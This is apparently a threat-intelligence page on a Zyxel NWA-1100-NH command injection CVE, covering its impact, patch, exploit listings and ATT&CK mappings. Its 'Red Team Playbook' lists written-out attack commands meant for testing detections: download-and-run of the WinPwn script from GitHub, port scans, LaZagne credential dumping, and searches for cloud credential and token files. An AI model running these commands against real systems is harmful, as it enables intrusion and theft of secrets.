CVE-2021-4039
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the web interface of the Zyxel NWA-1100-NH firmware. The affected component fails to sanitize user-supplied input before passing it to underlying operating system commands, enabling injection of arbitrary commands. The flaw specifically resides in the device's web management interface handling mechanisms.
Vulnerability Description
A command injection vulnerability in the web interface of the Zyxel NWA-1100-NH firmware could allow an attacker to execute arbitrary OS commands on the device.
Impact
An attacker with network access and no authentication can execute arbitrary operating system commands on the affected device, leading to full compromise of the device's functionality and control. This may result in unauthorized data access, device manipulation, or disruption of network services. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that the vulnerability is exploitable remotely with low complexity and no privileges or user interaction required.
Solution
Zyxel has released firmware updates addressing this command injection vulnerability for the NWA-1100-NH series. Users should apply the latest firmware available as detailed in Zyxel's official advisory at https://www.zyxel.com/support/OS-command-injection-vulnerability-of-NWA1100-NH-access-point.shtml. The advisory provides step-by-step instructions for updating the device firmware to a secure version. No alternative mitigations are noted beyond applying the vendor-provided patch.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The command injection vulnerability present in the web interface of the Zyxel NWA-1100-NH firmware is a critical security flaw that allows an attacker to execute arbitrary operating system commands on the device. This vulnerability arises from improper validation of user input, which permits malicious commands to be injected and executed by the underlying operating system. The web interface, typically designed for administrative tasks, becomes an attack vector when it fails to sanitize inputs adequately. As a result, an attacker can leverage this weakness to gain unauthorized access to the device's operating system, potentially leading to a complete compromise of the device's functionality and security.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the web interface. An attacker could craft a malicious HTTP request that includes specially formatted input designed to execute system commands. For instance, by manipulating parameters in the web interface, an attacker could gain control over the device, execute arbitrary commands, and even escalate privileges if the device is running with elevated permissions. Scenarios may include remote code execution, data exfiltration, or even using the compromised device as a launching pad for further attacks within the network. The ease of exploitation, combined with the potential for significant control over the device, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability is substantial, especially for organizations relying on the Zyxel NWA-1100-NH for network management. A successful attack could lead to unauthorized access to sensitive data, disruption of network services, and potential compliance violations, particularly in regulated industries. The business risks associated with such an incident include financial losses, reputational damage, and the costs associated with incident response and remediation efforts. Moreover, if the compromised device is part of a larger network infrastructure, the attacker could pivot to other systems, amplifying the impact and increasing the complexity of the response required.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the firmware of the Zyxel NWA-1100-NH is crucial, as manufacturers often release patches to address known vulnerabilities. Additionally, organizations should employ network segmentation to limit the exposure of critical systems and implement strict access controls to the web interface. Monitoring network traffic for unusual patterns or unauthorized access attempts can also aid in early detection of exploitation attempts. Furthermore, conducting regular security assessments and penetration testing can help identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the command injection vulnerability in the Zyxel NWA-1100-NH firmware represents a significant threat to network security. Its potential for exploitation through the web interface poses serious risks to organizations, necessitating proactive measures for detection and mitigation. By prioritizing firmware updates, implementing robust access controls, and maintaining vigilant monitoring practices, organizations can significantly reduce their exposure to this and similar vulnerabilities, ultimately safeguarding their network infrastructure and sensitive data.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-4039, rising by over 12% to a current value placing it in the 99th percentile of exploit likelihood. This upward trend, coupled with a steady week-over-week increase, signals growing confidence among threat actors in the viability of this command injection vulnerability against Zyxel NWA-1100-NH devices. Although no rapid spike in exploitation attempts has been detected, the sustained elevation in EPSS suggests that adversaries are increasingly prioritizing this vector, potentially due to the availability of public proof-of-concept exploits. For defenders, this escalation underscores an elevated risk environment where successful exploitation could lead to full system compromise via arbitrary command execution. Consequently, the threat level associated with CVE-2021-4039 should be reassessed as increasingly imminent, warranting heightened vigilance in detection and response capabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Nwa1100-Nh Firmware | All |
cpe:2.3:o:zyxel:nwa1100-nh_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Zyxel NWA-1100-NH - Command Injection | Ahmed Alroky | remote | hardware | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-4039 |
| zyxel.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.zyxel.com/support/OS-command-injection-vulnerability-of-NWA1100-NH-access-point.shtml |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/166752/Zyxel-NWA-1100-NH-Command-Injection.html |